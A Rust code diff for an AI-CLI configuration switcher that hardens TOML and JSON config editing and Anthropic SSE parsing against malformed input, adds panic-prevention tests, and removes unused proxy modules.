"mcp_servers = 42\n",
] {
let mut doc = malformed
.parse::<toml_edit::DocumentMut>()
.expect("fixture parses");
let table = json_server_to_toml_table(&json!({
"type": "stdio",
"command": "npx"
}))
.expect("server table");
upsert_mcp_server_table(&mut doc, "echo", table)
.unwrap_or_else(|e| panic!("upsert must not fail for {malformed:?}: {e}"));
let servers = doc
.get("mcp_servers")
.and_then(|item| item.as_table_like())
.unwrap_or_else(|| panic!("mcp_servers must be normalized to a table"));
assert!(servers.contains_key("echo"));
}
}
#[test]
fn upsert_preserves_existing_servers_in_a_valid_table() {
let mut doc = "[mcp_servers.keep]\ncommand = \"keep\"\n"
.parse::<toml_edit::DocumentMut>()
.expect("fixture parses");
let table = json_server_to_toml_table(&json!({
"type": "stdio",
"command": "npx"
}))
.expect("server table");
upsert_mcp_server_table(&mut doc, "added", table).expect("upsert");
let servers = doc
.get("mcp_servers")
.and_then(|item| item.as_table_like())
.expect("table");
assert!(servers.contains_key("keep"), "existing server must survive");
assert!(servers.contains_key("added"));
}
#[test]
fn remove_deletes_from_inline_table_form_too() {
// inline table 是合法 TOML,但 as_table_mut() 对它返回 None——用它做守卫
// 会让删除静默失效:界面说移除成功,条目却还在,Codex 下次启动照样加载。
let mut doc = "mcp_servers = { drop = { command = \"x\" }, keep = { command = \"y\" } }\n"
.parse::<toml_edit::DocumentMut>()
.expect("fixture parses");
remove_mcp_server_from_doc(&mut doc, "drop");
let servers = doc
.get("mcp_servers")
.and_then(|item| item.as_table_like())
.expect("mcp_servers must still be table-like");
assert!(
!servers.contains_key("drop"),
"removal must work on the inline-table form"
);
assert!(servers.contains_key("keep"), "siblings must survive");
}
#[test]
fn remove_is_a_noop_on_non_table_mcp_servers() {
// 既不能 panic,也不能把用户手写的值悄悄抹掉
let mut doc = "mcp_servers = 42\n"
.parse::<toml_edit::DocumentMut>()
.expect("fixture parses");
remove_mcp_server_from_doc(&mut doc, "whatever");
assert_eq!(doc.to_string(), "mcp_servers = 42\n");
}
#[test]
fn http_headers_are_only_written_to_codex_http_headers() {
let table = json_server_to_toml_table(&json!({
+37 -7
View File
@@ -148,10 +148,30 @@ pub fn sync_single_server_to_grokbuild(
AppError::McpValidation(format!("解析 Grok Build config.toml 失败: {e}"))
})?
};
if !doc.contains_key("mcp_servers") {
// 若 mcp_servers 缺失或存在但不是 table(如 `mcp_servers = "x"` / `[]`),
// 用空 table 归一化,避免后续 `doc["mcp_servers"][id] = …` 对非 table 索引
// 触发 toml_edit 的 IndexMut panic。用户手写的 config.toml 不可信。
// 判定走不可变的 `as_table_like`:借可变引用只为判空,会逼着下面再 get_mut 一次。
if doc
.get("mcp_servers")
.is_none_or(|item| item.as_table_like().is_none())
{
// 归一化会丢掉用户手写的那个非表值,必须留痕。
if doc.get("mcp_servers").is_some_and(|item| !item.is_none()) {
log::warn!("Grok Build config.toml 的 mcp_servers 不是表,已重置为空表");
}
doc["mcp_servers"] = toml_edit::table();
}
doc["mcp_servers"][id] = Item::Table(json_server_to_grokbuild_toml_table(server_spec)?);
let servers = doc
.get_mut("mcp_servers")
.and_then(toml_edit::Item::as_table_like_mut)
.ok_or_else(|| {
AppError::McpValidation("Grok Build config.toml 的 mcp_servers 不是表".to_string())
})?;
servers.insert(
id,
Item::Table(json_server_to_grokbuild_toml_table(server_spec)?),
);
crate::config::write_text_file(&path, &doc.to_string())
}
@@ -171,11 +191,21 @@ pub fn remove_server_from_grokbuild(id: &str) -> Result<(), AppError> {
return Ok(());
}
};
if let Some(servers) = doc
.get_mut("mcp_servers")
.and_then(toml_edit::Item::as_table_mut)
{
servers.remove(id);
// 与写入侧对称使用 as_table_like_mutinline table 形态下 as_table_mut 返回
// None,删除会静默失效——界面显示已移除,Grok Build 下次启动仍会加载它。
if let Some(item) = doc.get_mut("mcp_servers") {
// `Item::None` 是 toml_edit 的占位形态,不是用户写下的值——对它告警是噪音。
// 必须在取可变借用之前算出来。
let user_authored = !item.is_none();
match item.as_table_like_mut() {
Some(servers) => {
servers.remove(id);
}
None if user_authored => {
log::warn!("Grok Build config.toml 的 mcp_servers 不是表,无法删除服务器 '{id}'");
}
None => {}
}
}
crate::config::write_text_file(&path, &doc.to_string())
}
+106 -4
View File
@@ -95,12 +95,27 @@ pub fn read_opencode_config() -> Result<Value, AppError> {
}
let content = std::fs::read_to_string(&path).map_err(|e| AppError::io(&path, e))?;
json5::from_str(&content).map_err(|e| {
let value: Value = json5::from_str(&content).map_err(|e| {
AppError::Config(format!(
"Failed to parse OpenCode config: {}: {e}",
path.display()
))
})
})?;
// 根节点必须是对象:下游 set_provider / set_mcp_server / add_plugin 都对它做
// `config["key"] = …` 索引赋值,而 serde_json 只把 Null 自动升级成对象,
// 数组或标量会直接 panicpanic 发生在 Tauri command 内、跨 FFI 展开)。
//
// 这里选择报错而不是重建根节点:opencode.json 里还有 model / theme 等用户自有
// 配置,静默重建等于删掉它们。让用户自己修文件,与 read_claude_live 的做法一致。
if !value.is_object() {
return Err(AppError::Config(format!(
"OpenCode 配置文件根节点必须是 JSON 对象: {}",
path.display()
)));
}
Ok(value)
}
pub fn write_opencode_config(config: &Value) -> Result<(), AppError> {
@@ -123,7 +138,13 @@ pub fn get_providers() -> Result<Map<String, Value>, AppError> {
pub fn set_provider(id: &str, config: Value) -> Result<(), AppError> {
let mut full_config = read_opencode_config()?;
if full_config.get("provider").is_none() {
// 判空要连「存在但不是对象」一起算:否则下面 as_object_mut 拿不到,
// 写入会静默失效——界面显示添加成功而文件里没有。provider 段是 cc-switch
// 的投影区,归一化不会碰用户自有的 model / theme 等顶层配置。
if !full_config.get("provider").is_some_and(Value::is_object) {
if full_config.get("provider").is_some() {
log::warn!("opencode.json 的 provider 不是对象,已重置为空对象");
}
full_config["provider"] = json!({});
}
@@ -142,6 +163,8 @@ pub fn remove_provider(id: &str) -> Result<(), AppError> {
if let Some(providers) = config.get_mut("provider").and_then(|v| v.as_object_mut()) {
providers.remove(id);
} else if config.get("provider").is_some() {
log::warn!("opencode.json 的 provider 不是对象,无法删除供应商 '{id}'");
}
write_opencode_config(&config)
@@ -182,7 +205,10 @@ pub fn get_mcp_servers() -> Result<Map<String, Value>, AppError> {
pub fn set_mcp_server(id: &str, config: Value) -> Result<(), AppError> {
let mut full_config = read_opencode_config()?;
if full_config.get("mcp").is_none() {
if !full_config.get("mcp").is_some_and(Value::is_object) {
if full_config.get("mcp").is_some() {
log::warn!("opencode.json 的 mcp 不是对象,已重置为空对象");
}
full_config["mcp"] = json!({});
}
@@ -198,6 +224,8 @@ pub fn remove_mcp_server(id: &str) -> Result<(), AppError> {
if let Some(mcp) = config.get_mut("mcp").and_then(|v| v.as_object_mut()) {
mcp.remove(id);
} else if config.get("mcp").is_some() {
log::warn!("opencode.json 的 mcp 不是对象,无法删除服务器 '{id}'");
}
write_opencode_config(&config)
@@ -265,3 +293,77 @@ pub fn remove_plugins_by_prefixes(prefixes: &[&str]) -> Result<(), AppError> {
write_opencode_config(&config)
}
#[cfg(test)]
mod tests {
use super::*;
struct TestHomeGuard(Option<std::ffi::OsString>);
impl TestHomeGuard {
fn set(home: &std::path::Path) -> Self {
let guard = Self(std::env::var_os("CC_SWITCH_TEST_HOME"));
std::env::set_var("CC_SWITCH_TEST_HOME", home);
guard
}
}
impl Drop for TestHomeGuard {
fn drop(&mut self) {
match self.0.take() {
Some(value) => std::env::set_var("CC_SWITCH_TEST_HOME", value),
None => std::env::remove_var("CC_SWITCH_TEST_HOME"),
}
}
}
fn write_config(home: &std::path::Path, content: &str) {
let dir = home.join(".config").join("opencode");
std::fs::create_dir_all(&dir).expect("create config dir");
std::fs::write(dir.join("opencode.json"), content).expect("write config");
}
#[test]
#[serial_test::serial]
fn read_rejects_non_object_root_instead_of_panicking_downstream() {
let temp = tempfile::tempdir().expect("tempdir");
let _guard = TestHomeGuard::set(temp.path());
// 顶层数组/标量会让下游 `config["provider"] = …` 触发 serde_json panic。
// 顶层 null 例外——serde_json 会把它自动升级成对象,本来就不炸。
for malformed in ["[]", "[{\"a\":1}]", "42", "\"oops\""] {
write_config(temp.path(), malformed);
let result = read_opencode_config();
assert!(
result.is_err(),
"non-object root must be rejected: {malformed}"
);
}
write_config(temp.path(), "{\"model\": \"x\"}");
assert!(
read_opencode_config().is_ok(),
"a normal object config must still load"
);
}
#[test]
#[serial_test::serial]
fn set_mcp_server_normalizes_non_object_section() {
let temp = tempfile::tempdir().expect("tempdir");
let _guard = TestHomeGuard::set(temp.path());
// `"mcp": []` 时旧代码的 as_object_mut 返回 None → 写入静默失效
write_config(temp.path(), "{\"model\": \"keep-me\", \"mcp\": []}");
set_mcp_server("echo", json!({"command": "npx"})).expect("set must succeed");
let config = read_opencode_config().expect("reload");
assert_eq!(
config["mcp"]["echo"]["command"], "npx",
"server must actually be written"
);
assert_eq!(
config["model"], "keep-me",
"unrelated user config must be preserved"
);
}
}
+17 -5
View File
@@ -169,11 +169,23 @@ impl Provider {
let api_key = first_non_empty(env, &["GEMINI_API_KEY", "GOOGLE_API_KEY"]);
(base_url, api_key)
}
AppType::GrokBuild => settings
.get("config")
.and_then(Value::as_str)
.and_then(crate::grok_config::extract_credentials)
.unwrap_or_default(),
// GrokBuild 的 base_url 与 api_key 必须各自解析:extract_credentials 在
// 凭据缺失时整个 Option 变 None,一并 unwrap_or_default 会把明明写在
// 配置里的 base_url 也清成空串。凭据缺失是常态(env_key 指向的变量在
// GUI 进程里读不到),端点不该被连坐——否则用量脚本的 {{baseUrl}} 变成
// 相对路径、余额查询只报「API key is empty」掩盖真因。
// 与上面 Codex 分支的写法保持一致。
AppType::GrokBuild => {
let config_text = settings.get("config").and_then(Value::as_str);
let base_url = config_text
.and_then(crate::grok_config::extract_base_url)
.unwrap_or_default();
let api_key = config_text
.and_then(crate::grok_config::extract_credentials)
.map(|(_, api_key)| api_key)
.unwrap_or_default();
(base_url, api_key)
}
// Hermes (config.yaml) flattens credentials at the top level, snake_case.
AppType::Hermes => (
str_at(settings.get("base_url")),
-238
View File
@@ -1,238 +0,0 @@
use once_cell::sync::Lazy;
use std::collections::HashMap;
/// 供应商图标信息
#[derive(Debug, Clone)]
#[allow(dead_code)]
pub struct ProviderIcon {
pub name: &'static str,
pub color: &'static str,
}
/// 供应商名称到图标的默认映射
#[allow(dead_code)]
pub static DEFAULT_PROVIDER_ICONS: Lazy<HashMap<&'static str, ProviderIcon>> = Lazy::new(|| {
let mut m = HashMap::new();
// AI 服务商
m.insert(
"openai",
ProviderIcon {
name: "openai",
color: "#00A67E",
},
);
m.insert(
"anthropic",
ProviderIcon {
name: "anthropic",
color: "#D4915D",
},
);
m.insert(
"claude",
ProviderIcon {
name: "claude",
color: "#D4915D",
},
);
m.insert(
"google",
ProviderIcon {
name: "google",
color: "#4285F4",
},
);
m.insert(
"gemini",
ProviderIcon {
name: "gemini",
color: "#4285F4",
},
);
m.insert(
"deepseek",
ProviderIcon {
name: "deepseek",
color: "#1E88E5",
},
);
m.insert(
"kimi",
ProviderIcon {
name: "kimi",
color: "#6366F1",
},
);
m.insert(
"moonshot",
ProviderIcon {
name: "moonshot",
color: "#6366F1",
},
);
m.insert(
"zhipu",
ProviderIcon {
name: "zhipu",
color: "#0F62FE",
},
);
m.insert(
"minimax",
ProviderIcon {
name: "minimax",
color: "#FF6B6B",
},
);
m.insert(
"baidu",
ProviderIcon {
name: "baidu",
color: "#2932E1",
},
);
m.insert(
"alibaba",
ProviderIcon {
name: "alibaba",
color: "#FF6A00",
},
);
m.insert(
"tencent",
ProviderIcon {
name: "tencent",
color: "#00A4FF",
},
);
m.insert(
"meta",
ProviderIcon {
name: "meta",
color: "#0081FB",
},
);
m.insert(
"microsoft",
ProviderIcon {
name: "microsoft",
color: "#00A4EF",
},
);
m.insert(
"cohere",
ProviderIcon {
name: "cohere",
color: "#39594D",
},
);
m.insert(
"perplexity",
ProviderIcon {
name: "perplexity",
color: "#20808D",
},
);
m.insert(
"mistral",
ProviderIcon {
name: "mistral",
color: "#FF7000",
},
);
m.insert(
"huggingface",
ProviderIcon {
name: "huggingface",
color: "#FFD21E",
},
);
// 云平台
m.insert(
"aws",
ProviderIcon {
name: "aws",
color: "#FF9900",
},
);
m.insert(
"azure",
ProviderIcon {
name: "azure",
color: "#0078D4",
},
);
m.insert(
"huawei",
ProviderIcon {
name: "huawei",
color: "#FF0000",
},
);
m.insert(
"cloudflare",
ProviderIcon {
name: "cloudflare",
color: "#F38020",
},
);
m
});
/// 根据供应商名称智能推断图标
#[allow(dead_code)]
pub fn infer_provider_icon(provider_name: &str) -> Option<ProviderIcon> {
let name_lower = provider_name.to_lowercase();
// 精确匹配
if let Some(icon) = DEFAULT_PROVIDER_ICONS.get(name_lower.as_str()) {
return Some(icon.clone());
}
// 模糊匹配(包含关键词)
for (key, icon) in DEFAULT_PROVIDER_ICONS.iter() {
if name_lower.contains(key) {
return Some(icon.clone());
}
}
None
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_exact_match() {
let icon = infer_provider_icon("openai");
assert!(icon.is_some());
let icon = icon.unwrap();
assert_eq!(icon.name, "openai");
assert_eq!(icon.color, "#00A67E");
}
#[test]
fn test_fuzzy_match() {
let icon = infer_provider_icon("OpenAI Official");
assert!(icon.is_some());
let icon = icon.unwrap();
assert_eq!(icon.name, "openai");
}
#[test]
fn test_case_insensitive() {
let icon = infer_provider_icon("ANTHROPIC");
assert!(icon.is_some());
assert_eq!(icon.unwrap().name, "anthropic");
}
#[test]
fn test_no_match() {
let icon = infer_provider_icon("unknown provider");
assert!(icon.is_none());
}
}
+1 -1
View File
@@ -2630,7 +2630,7 @@ async fn log_usage(
model
};
let dedup_scope = (app_type != "claude").then_some((app_type, provider_id));
let dedup_scope = super::usage::parser::dedup_scope_for_app(app_type, provider_id);
let request_id = usage.dedup_request_id(dedup_scope);
if let Err(e) = logger.log_with_calculation(
-7
View File
@@ -1,7 +0,0 @@
//! 健康检查器
//!
//! 负责定期检查Provider健康状态(占位实现)
// 占位实现,稍后添加完整逻辑
#[allow(dead_code)]
pub struct HealthChecker;
+1 -7
View File
@@ -15,7 +15,6 @@ pub mod gemini_url;
pub mod handler_config;
pub mod handler_context;
mod handlers;
mod health;
pub mod http_client;
pub mod hyper_client;
pub(crate) mod json_canonical;
@@ -24,7 +23,6 @@ pub mod media_sanitizer;
pub mod model_mapper;
pub mod provider_router;
pub mod providers;
pub mod response_handler;
pub mod response_processor;
pub(crate) mod server;
pub mod session;
@@ -47,11 +45,7 @@ pub use error::ProxyError;
#[allow(unused_imports)]
pub use provider_router::ProviderRouter;
#[allow(unused_imports)]
pub use response_handler::{NonStreamHandler, ResponseType, StreamHandler};
#[allow(unused_imports)]
pub use session::{
extract_session_id, ClientFormat, ProxySession, SessionIdResult, SessionIdSource,
};
pub use session::{extract_session_id, SessionIdResult, SessionIdSource};
#[allow(unused_imports)]
pub use types::{ProxyConfig, ProxyServerInfo, ProxyStatus};
@@ -589,6 +589,21 @@ pub(crate) fn responses_sse_events_from_anthropic_message(
tool_context: CodexToolContext,
) -> Vec<Bytes> {
let mut state = AnthropicToResponsesState::with_tool_context(tool_context);
// The whole conversion below assumes `body` is an Anthropic message object.
// A misbehaving gateway can return a top-level JSON array (or scalar) with
// HTTP 200 despite `stream:true`; index-assigning `message_start["content"]`
// on such a non-object would panic. Bail out gracefully instead.
if !body.is_object() {
return state
.failed_event(
"upstream returned a non-object Anthropic message body".to_string(),
Some("invalid_response".to_string()),
)
.into_iter()
.collect();
}
if body.get("type").and_then(Value::as_str) == Some("error") || body.get("error").is_some() {
let (message, error_type) = extract_anthropic_sse_error(body);
return state
@@ -819,6 +834,15 @@ mod tests {
assert!(!merged.contains("stream_truncated"));
}
#[test]
fn test_json_non_object_body_returns_failed_event_not_panic() {
// A gateway that ignores `stream:true` and returns a top-level JSON array
// would have panicked on `message_start["content"] = …` before the guard.
let merged = render_message_events(&json!([1, 2, 3]));
assert!(merged.contains("event: response.failed"));
assert!(merged.contains("invalid_response"));
}
#[test]
fn test_json_message_becomes_complete_responses_stream() {
let merged = render_message_events(&json!({
@@ -1418,13 +1418,39 @@ pub fn anthropic_sse_to_message_value(body: &str) -> Result<Value, ProxyError> {
};
match value.get("type").and_then(|t| t.as_str()).unwrap_or("") {
"message_start" => {
if let Some(msg) = value.get("message") {
// Only accept an object message; a malformed upstream could send a
// scalar/array here, and the later `message["content"] = …` index
// assignment would panic on a non-object Value.
if let Some(msg) = value.get("message").filter(|m| m.is_object()) {
*message = Some(msg.clone());
}
}
"content_block_start" => {
if let Some(index) = value.get("index").and_then(|v| v.as_u64()) {
let block = value.get("content_block").cloned().unwrap_or(json!({}));
// Sanitize to an object: any later index-assignment (`["text"]`,
// `["signature"]`, `["input"]`) requires a JSON object, so a
// malformed non-object block from the upstream cannot be stored
// verbatim (it would panic on the next delta).
//
// The replacement carries `type: "text"` rather than being empty:
// the deltas that follow are usually well-formed, and a block with
// no `type` is silently dropped by the final Responses conversion,
// which turns a garbled block header into a `completed` response
// with empty output — the client sees the model saying nothing and
// has no way to tell that data was discarded. A text block recovers
// the common case; a tool-use block still yields nothing, exactly as
// it did before.
let block = match value.get("content_block") {
Some(block) if block.is_object() => block.clone(),
malformed => {
if malformed.is_some() {
log::warn!(
"Anthropic upstream sent a non-object content_block at index {index}; recovering it as a text block"
);
}
json!({ "type": "text" })
}
};
blocks.insert(index, block);
json_accum.entry(index).or_default();
}
@@ -2953,4 +2979,42 @@ data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":
"data: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"content\":[]}}\n\n";
assert!(anthropic_sse_to_message_value(sse).is_err());
}
#[test]
fn test_anthropic_sse_aggregation_non_object_content_block_does_not_panic() {
// A malformed upstream can send a non-object `content_block`; the index
// assignment on the next delta would have panicked before the shape guard.
let sse = concat!(
"data: {\"type\":\"message_start\",\"message\":{\"id\":\"m\",\"content\":[]}}\n\n",
"data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":[1]}\n\n",
"data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"x\"}}\n\n",
"data: {\"type\":\"message_stop\"}\n\n",
);
let msg = anthropic_sse_to_message_value(sse)
.expect("aggregation must not panic on a non-object content_block");
assert_eq!(msg["content"][0]["text"], json!("x"));
// Not panicking is only half of it: the sanitized block must still carry a
// `type`, because the final conversion matches on it and silently drops
// anything it does not recognise. Asserting only on the intermediate value
// would pass while the client receives a `completed` response with empty
// output and no indication that the text was thrown away.
let response = anthropic_response_to_responses(msg).expect("final conversion must succeed");
assert_eq!(
response["output"][0]["content"][0]["text"],
json!("x"),
"text recovered from a malformed block must survive to the Responses output: {response}"
);
}
#[test]
fn test_anthropic_sse_aggregation_non_object_message_errors_not_panic() {
// A malformed upstream can send a scalar `message`; the later
// `message["content"] = …` would have panicked before the shape guard.
let sse = concat!(
"data: {\"type\":\"message_start\",\"message\":\"oops\"}\n\n",
"data: {\"type\":\"message_stop\"}\n\n",
);
assert!(anthropic_sse_to_message_value(sse).is_err());
}
}
-232
View File
@@ -1,232 +0,0 @@
//! Response Handler - 统一响应处理
//!
//! 提供流式和非流式响应的统一处理接口
use super::session::ProxySession;
use super::usage::parser::TokenUsage;
use super::ProxyError;
use crate::proxy::sse::{strip_sse_field, take_sse_block};
use bytes::Bytes;
use futures::stream::{Stream, StreamExt};
use serde_json::Value;
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::sync::Mutex;
use tokio::time::timeout;
/// 响应类型
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[allow(dead_code)]
pub enum ResponseType {
/// 流式响应 (SSE)
Stream,
/// 非流式响应
NonStream,
}
impl ResponseType {
/// 从 Content-Type 检测响应类型
#[allow(dead_code)]
pub fn from_content_type(content_type: &str) -> Self {
if content_type.contains("text/event-stream") {
ResponseType::Stream
} else {
ResponseType::NonStream
}
}
}
/// 流式响应处理器
#[allow(dead_code)]
pub struct StreamHandler {
/// 空闲超时时间
idle_timeout: Duration,
/// 收集的事件
events: Arc<Mutex<Vec<Value>>>,
}
#[allow(dead_code)]
impl StreamHandler {
/// 创建新的流式处理器
pub fn new(idle_timeout_secs: u64) -> Self {
Self {
idle_timeout: Duration::from_secs(idle_timeout_secs),
events: Arc::new(Mutex::new(Vec::new())),
}
}
/// 处理流式响应,返回分流后的客户端流
///
/// 客户端流立即返回,内部流在后台收集事件
pub fn handle_stream<S>(
&self,
stream: S,
) -> impl Stream<Item = Result<Bytes, std::io::Error>> + Send
where
S: Stream<Item = Result<Bytes, reqwest::Error>> + Send + 'static,
{
let events = self.events.clone();
let idle_timeout = self.idle_timeout;
async_stream::stream! {
let mut _last_activity = Instant::now();
let mut buffer = String::new();
let mut utf8_remainder: Vec<u8> = Vec::new();
tokio::pin!(stream);
loop {
let chunk_result = timeout(idle_timeout, stream.next()).await;
match chunk_result {
Ok(Some(Ok(bytes))) => {
_last_activity = Instant::now();
// 解析 SSE 事件
crate::proxy::sse::append_utf8_safe(&mut buffer, &mut utf8_remainder, &bytes);
// 提取完整事件
while let Some(event_text) = take_sse_block(&mut buffer) {
for line in event_text.lines() {
if let Some(data) = strip_sse_field(line, "data") {
if data.trim() != "[DONE]" {
if let Ok(json) = serde_json::from_str::<Value>(data) {
let mut guard = events.lock().await;
guard.push(json);
}
}
}
}
}
yield Ok(bytes);
}
Ok(Some(Err(e))) => {
log::error!("流错误: {e}");
yield Err(std::io::Error::other(e.to_string()));
break;
}
Ok(None) => {
// 流结束
break;
}
Err(_) => {
// 空闲超时
log::warn!("流式响应空闲超时: {idle_timeout:?} 无数据");
yield Err(std::io::Error::other("Stream idle timeout"));
break;
}
}
}
}
}
/// 获取收集的事件
pub async fn get_events(&self) -> Vec<Value> {
let guard = self.events.lock().await;
guard.clone()
}
/// 从收集的事件中提取 Token 使用量
pub async fn extract_usage(&self, session: &ProxySession) -> Option<TokenUsage> {
let events = self.get_events().await;
match session.client_format {
super::session::ClientFormat::Claude => TokenUsage::from_claude_stream_events(&events),
super::session::ClientFormat::Codex => TokenUsage::from_codex_stream_events(&events),
super::session::ClientFormat::Gemini | super::session::ClientFormat::GeminiCli => {
TokenUsage::from_gemini_stream_chunks(&events)
}
_ => None,
}
}
}
/// 非流式响应处理器
#[allow(dead_code)]
pub struct NonStreamHandler;
#[allow(dead_code)]
impl NonStreamHandler {
/// 处理非流式响应
///
/// 克隆响应体用于后台解析,原始响应立即返回
pub async fn handle_response(
body: &[u8],
session: &ProxySession,
) -> Result<Option<TokenUsage>, ProxyError> {
let json: Value = serde_json::from_slice(body)
.map_err(|e| ProxyError::TransformError(format!("Failed to parse response: {e}")))?;
let usage = match session.client_format {
super::session::ClientFormat::Claude => TokenUsage::from_claude_response(&json),
super::session::ClientFormat::Codex => TokenUsage::from_codex_response_adjusted(&json),
super::session::ClientFormat::Gemini | super::session::ClientFormat::GeminiCli => {
TokenUsage::from_gemini_response(&json)
}
super::session::ClientFormat::OpenAI => TokenUsage::from_openrouter_response(&json),
_ => None,
};
Ok(usage)
}
}
/// 统一响应分发器
#[allow(dead_code)]
pub struct ResponseDispatcher;
#[allow(dead_code)]
impl ResponseDispatcher {
/// 判断响应类型
pub fn detect_type(content_type: &str) -> ResponseType {
ResponseType::from_content_type(content_type)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_response_type_detection() {
assert_eq!(
ResponseType::from_content_type("text/event-stream"),
ResponseType::Stream
);
assert_eq!(
ResponseType::from_content_type("text/event-stream; charset=utf-8"),
ResponseType::Stream
);
assert_eq!(
ResponseType::from_content_type("application/json"),
ResponseType::NonStream
);
}
#[test]
fn test_stream_handler_creation() {
let handler = StreamHandler::new(30);
assert_eq!(handler.idle_timeout, Duration::from_secs(30));
}
#[test]
fn test_strip_sse_field_accepts_optional_space() {
assert_eq!(
super::strip_sse_field("data: {\"ok\":true}", "data"),
Some("{\"ok\":true}")
);
assert_eq!(
super::strip_sse_field("data:{\"ok\":true}", "data"),
Some("{\"ok\":true}")
);
assert_eq!(
super::strip_sse_field("event: message_start", "event"),
Some("message_start")
);
assert_eq!(
super::strip_sse_field("event:message_start", "event"),
Some("message_start")
);
}
}
+1 -1
View File
@@ -642,7 +642,7 @@ async fn log_usage_internal(
model
};
let dedup_scope = (app_type != "claude").then_some((app_type, provider_id));
let dedup_scope = super::usage::parser::dedup_scope_for_app(app_type, provider_id);
let request_id = usage.dedup_request_id(dedup_scope);
log::debug!(
+130 -297
View File
@@ -7,183 +7,12 @@
//! 支持从客户端请求中提取 Session ID,用于关联同一对话的多个请求:
//! - Claude: 从 `metadata.user_id` (格式: `user_xxx_session_yyy`) 或 `metadata.session_id` 提取
//! - Codex: 从 headers 中的 `session_id` / `x-session-id` 或 `metadata.session_id` 提取
//! - Grok Build: 从 headers 中的 `x-grok-conv-id` / `x-grok-session-id` 提取
//! - 其他: 生成新的 UUID
use axum::http::HeaderMap;
use std::time::Instant;
use uuid::Uuid;
/// 客户端请求格式
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[allow(dead_code)]
pub enum ClientFormat {
/// Claude Messages API (/v1/messages)
Claude,
/// Codex Response API (/v1/responses)
Codex,
/// OpenAI Chat Completions API (/v1/chat/completions)
OpenAI,
/// Gemini API (/v1beta/models/*/generateContent)
Gemini,
/// Gemini CLI API (/v1internal/models/*/generateContent)
GeminiCli,
/// 未知格式
Unknown,
}
#[allow(dead_code)]
impl ClientFormat {
/// 从请求路径检测格式
pub fn from_path(path: &str) -> Self {
if path.contains("/v1/messages") {
ClientFormat::Claude
} else if path.contains("/v1/responses") {
ClientFormat::Codex
} else if path.contains("/v1/chat/completions") {
ClientFormat::OpenAI
} else if path.contains("/v1internal/") && path.contains("generateContent") {
// Gemini CLI 使用 /v1internal/ 路径
ClientFormat::GeminiCli
} else if (path.contains("/v1beta/") || path.contains("/v1/"))
&& path.contains("generateContent")
{
// Gemini API 使用 /v1beta/ 或 /v1/ 路径
ClientFormat::Gemini
} else if path.contains("generateContent") {
// 通用 Gemini 端点
ClientFormat::Gemini
} else {
ClientFormat::Unknown
}
}
/// 从请求体内容检测格式(回退方案)
pub fn from_body(body: &serde_json::Value) -> Self {
// Claude 格式特征: messages 数组 + model 字段 + 无 response_format
if body.get("messages").is_some()
&& body.get("model").is_some()
&& body.get("response_format").is_none()
&& body.get("contents").is_none()
{
// 区分 Claude 和 OpenAI
if body.get("max_tokens").is_some() {
return ClientFormat::Claude;
}
return ClientFormat::OpenAI;
}
// Codex 格式特征: input 字段
if body.get("input").is_some() {
return ClientFormat::Codex;
}
// Gemini 格式特征: contents 数组
if body.get("contents").is_some() {
return ClientFormat::Gemini;
}
ClientFormat::Unknown
}
/// 转换为字符串
pub fn as_str(&self) -> &'static str {
match self {
ClientFormat::Claude => "claude",
ClientFormat::Codex => "codex",
ClientFormat::OpenAI => "openai",
ClientFormat::Gemini => "gemini",
ClientFormat::GeminiCli => "gemini_cli",
ClientFormat::Unknown => "unknown",
}
}
}
impl std::fmt::Display for ClientFormat {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "{}", self.as_str())
}
}
/// 代理会话
///
/// 包含请求全生命周期的上下文数据
#[derive(Debug, Clone)]
#[allow(dead_code)]
pub struct ProxySession {
/// 唯一会话 ID
pub session_id: String,
/// 请求开始时间
pub start_time: Instant,
/// HTTP 方法
pub method: String,
/// 请求 URL
pub request_url: String,
/// User-Agent
pub user_agent: Option<String>,
/// 客户端请求格式
pub client_format: ClientFormat,
/// 选定的供应商 ID
pub provider_id: Option<String>,
/// 模型名称
pub model: Option<String>,
/// 是否为流式请求
pub is_streaming: bool,
}
#[allow(dead_code)]
impl ProxySession {
/// 从请求创建会话
pub fn from_request(
method: &str,
request_url: &str,
user_agent: Option<&str>,
body: Option<&serde_json::Value>,
) -> Self {
// 检测客户端格式
let mut client_format = ClientFormat::from_path(request_url);
if client_format == ClientFormat::Unknown {
if let Some(body) = body {
client_format = ClientFormat::from_body(body);
}
}
// 检测是否为流式请求
let is_streaming = body
.and_then(|b| b.get("stream"))
.and_then(|v| v.as_bool())
.unwrap_or(false);
// 提取模型名称
let model = body
.and_then(|b| b.get("model"))
.and_then(|v| v.as_str())
.map(|s| s.to_string());
Self {
session_id: Uuid::new_v4().to_string(),
start_time: Instant::now(),
method: method.to_string(),
request_url: request_url.to_string(),
user_agent: user_agent.map(|s| s.to_string()),
client_format,
provider_id: None,
model,
is_streaming,
}
}
/// 设置供应商 ID
pub fn with_provider(mut self, provider_id: &str) -> Self {
self.provider_id = Some(provider_id.to_string());
self
}
/// 获取请求延迟(毫秒)
pub fn latency_ms(&self) -> u64 {
self.start_time.elapsed().as_millis() as u64
}
}
// ============================================================================
// Session ID 提取器
// ============================================================================
@@ -195,7 +24,7 @@ pub enum SessionIdSource {
MetadataUserId,
/// 从 metadata.session_id 提取
MetadataSessionId,
/// 从 headers 提取 (Codex)
/// 从 headers 提取
Header,
/// 新生成
Generated,
@@ -228,6 +57,11 @@ pub struct SessionIdResult {
/// 2. `metadata.session_id`
/// 3. 生成新 UUID
///
/// ### Grok Build 请求
/// 1. Headers: `x-grok-conv-id` 或 `x-grok-session-id`
/// 2. `metadata.session_id`
/// 3. 生成新 UUID
///
/// ## 示例
///
/// ```ignore
@@ -245,9 +79,15 @@ pub fn extract_session_id(
}
}
// Codex 请求特殊处理
if client_format == "codex" || client_format == "openai" {
if let Some(result) = extract_codex_session(headers, body) {
// Responses 请求特殊处理。Grok Build 使用与 Codex 相同的客户端协议,
// 但保留独立前缀,避免统计和缓存键跨应用碰撞。
if matches!(client_format, "codex" | "openai" | "grokbuild") {
